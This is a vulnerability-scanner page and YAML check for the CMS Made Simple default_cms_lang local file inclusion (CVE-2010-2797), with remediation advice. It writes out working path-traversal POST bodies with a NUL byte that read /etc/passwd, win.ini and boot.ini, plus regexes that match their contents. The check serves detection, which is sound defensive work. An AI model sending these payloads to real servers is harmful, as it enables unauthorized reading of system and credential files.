CMS Made Simple — 1 vulnerability check
noctis ships 1 vulnerability check for CMS Made Simple, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
CMS Made Simple default_cms_lang Local File Inclusion
| CVE | CVE-2010-2797 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/cms-made-simple/CVE-2010-2797.yaml |
Tests CMS Made Simple (before 1.8.1) for the unauthenticated local file inclusion in its admin language selection: the default_cms_lang form field is used unchecked to build the path of the admin language file that every admin page includes before the login check. The feed sends a POST to admin/addbookmark.php under the usual CMS Made Simple locations (the web root, /cmsms, /cms, /cmsmadesimple) with default_cms_lang set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the /admin.inc.php suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply (or in the body of the redirect to the login page) confirms the inclusion. The NUL-byte cut only works on PHP before 5.3.4, so installs on later PHP versions are not reported. A control request for an absent random file through the same field must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read and nothing is written. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
POST {{dir}}/admin/addbookmark.phpwith a crafted body - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/admin/addbookmark.phpwith a crafted body - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
POST {{dir}}/admin/addbookmark.phpwith a crafted body - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/admin/addbookmark.phpwith a crafted body - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: CMS Made Simple default_cms_lang Local File Inclusion (CVE-2010-2797) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: CMS Made Simple default_cms_lang Local File Inclusion (CVE-2010-2797)
References:
Feed source — tests/vulnerabilities/cms-made-simple/CVE-2010-2797.yaml
# CMS Made Simple default_cms_lang local file inclusion — CVE-2010-2797
#
# CMS Made Simple before 1.8.1, lib/translation.functions.php
# cms_admin_current_language() takes $_POST['default_cms_lang'] unchecked, and
# cms_load_lang_realm() then runs
# $fn = <root>/admin/lang/ext/<lang>/admin.inc.php;
# if (@file_exists($fn)) include($fn);
# On every admin page this runs BEFORE the login check: include.php loads the
# active modules, and on admin pages the CMSModule constructor calls
# lang('langparam'), which loads the admin language realm. "../" sequences
# leave the language folder and a NUL byte (%00) cuts off "/admin.inc.php" on
# PHP < 5.3.4 (include.php strips the magic_quotes slashes again, so
# magic_quotes_gpc does not stop it), so any file the web server user can read
# is included and printed, unauthenticated. check_login() then redirects to
# login.php: a JavaScript redirect page (200) after the printed file, or, with
# output buffering on, a 302 whose body is the printed file.
# 1.8.1 applies basename() and accepts only a language listed in the nls files.
# (Source read from the svn2github/cmsms mirror, tags version-1.8 and
# version-1.8.1.)
#
# Detection (benign, read-only): POST <cmsms dir>/admin/addbookmark.php with
# default_cms_lang=../../(x12)etc/passwd%00
# and match the CONTENT of /etc/passwd in the reply; when the script answered
# but no passwd line came back, windows/win.ini, then boot.ini. QoD 75.
# A POST body goes out verbatim through http_request (no URL normalisation).
#
# Improvements over the source NASL:
# - The NASL only runs where its CMS Made Simple detection found an install;
# the feed probes addbookmark.php directly under the usual locations (web
# root, /cmsms, /cms, /cmsmadesimple): the path and parameter are CMS Made
# Simple's own, and the file content plus the absent-file control prove the
# inclusion.
# - Redirects are not followed: with output buffering on, the file content
# comes back in the body of the 302 to login.php, which a client that
# follows redirects would replace with the login page.
# - The NASL sends 10 "../" (two of which only climb out of lang/ext); 12 are
# sent so deeper document roots are still left.
# - The NASL's pattern is the file NAME's key regex on the whole reply; the
# feed matches the file content and runs a control request (same
# parameter, a path in an absent random directory that still ends with the
# file that hit) that must come back WITHOUT any of these files; a blanket
# responder or a honeypot keying a fake file on the file name or path
# suffix is not reported (fail-closed: no control reply → no finding).
# - The account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding.
# Limit (same as the NASL): an install whose admin folder was renamed
# (\$config['admin_dir']) is not probed.
#
# CVSS: CVE-2010-2797 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_cms_made_simple_41565.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100716, GPL-2.0-only).
uid: d6841c22-28ea-4999-851a-f58fe0802e9d
name: "CMS Made Simple default_cms_lang Local File Inclusion (CVE-2010-2797)"
description: |
Tests CMS Made Simple (before 1.8.1) for the unauthenticated local file
inclusion in its admin language selection: the default_cms_lang form field is
used unchecked to build the path of the admin language file that every admin
page includes before the login check. The feed sends a POST to
admin/addbookmark.php under the usual CMS Made Simple locations (the web
root, /cmsms, /cms, /cmsmadesimple) with default_cms_lang set to a ../
sequence ending in etc/passwd and a NUL byte (%00) that cuts off the
/admin.inc.php suffix and, when no passwd content comes back, windows/win.ini
and then boot.ini. The content of the file in the reply (or in the body of
the redirect to the login page) confirms the inclusion. The NUL-byte cut
only works on PHP before 5.3.4, so installs on later PHP versions are not
reported. A control request for an absent random file through the same field
must not return any of these files, so a server that serves the same content
on every request is not reported. Only world-readable system files are read
and nothing is written. The account name (unless root), password field and
gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2010-2797]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [cms-made-simple, cmsms, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2797"
- "https://www.securityfocus.com/bid/41565"
# OpenVAS/Greenbone NASL 2010/gb_cms_made_simple_41565.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per CMS Made Simple folder.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/cmsms", "/cms", "/cmsmadesimple"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: POST
path: "{{dir}}/admin/addbookmark.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "default_cms_lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# script answered (200, or the 302 to the login page) and the Linux read
# gave nothing ───────────────────────────────────────────────────────────
- id: read-winini
action: http_request
method: POST
path: "{{dir}}/admin/addbookmark.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "default_cms_lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && (passwd_r.status == 200 || passwd_r.status == 302)'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && (passwd_r.status == 200 || passwd_r.status == 302)'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: POST
path: "{{dir}}/admin/addbookmark.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "default_cms_lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && (passwd_r.status == 200 || passwd_r.status == 302)'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && (passwd_r.status == 200 || passwd_r.status == 302)'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same field, absent random file — must NOT carry a file ──────
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
# byte, so a honeypot that keys a fake file on that name or path suffix
# answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc%2fpasswd" } else if win_file == "boot.ini" { "boot.ini" } else { "windows%2fwin.ini" };
"..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fnoctis-absent-" + oob_token + "%2f" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: POST
path: "{{dir}}/admin/addbookmark.php"
port: "{{port}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "default_cms_lang={{ctrl_path}}%00"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered like the page normally does and stayed clean)
# The control status is not compared with the probe's: on the real page a
# printed file turns the 302 into a 200 JavaScript redirect, so a clean
# control legitimately gets the 302.
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "(ctrl_r.status == 200 || ctrl_r.status == 302) && ctrl_hit == false"
on_match:
finding:
title: "CMS Made Simple default_cms_lang Local File Inclusion (CVE-2010-2797)"
description: "An unauthenticated POST to admin/addbookmark.php with the default_cms_lang field set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as config.php with the database password, and runs any PHP code found in an included file."
remediation: "Upgrade CMS Made Simple to 1.8.1 or later (current releases are 2.x), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/admin/addbookmark.php default_cms_lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 returned /etc/passwd (HTTP {{passwd_r.status}}); control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "(ctrl_r.status == 200 || ctrl_r.status == 302) && ctrl_hit == false"
on_match:
finding:
title: "CMS Made Simple default_cms_lang Local File Inclusion (CVE-2010-2797)"
description: "An unauthenticated POST to admin/addbookmark.php with the default_cms_lang field set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as config.php with the database password, and runs any PHP code found in an included file."
remediation: "Upgrade CMS Made Simple to 1.8.1 or later (current releases are 2.x), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/admin/addbookmark.php default_cms_lang=<../ x12>{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true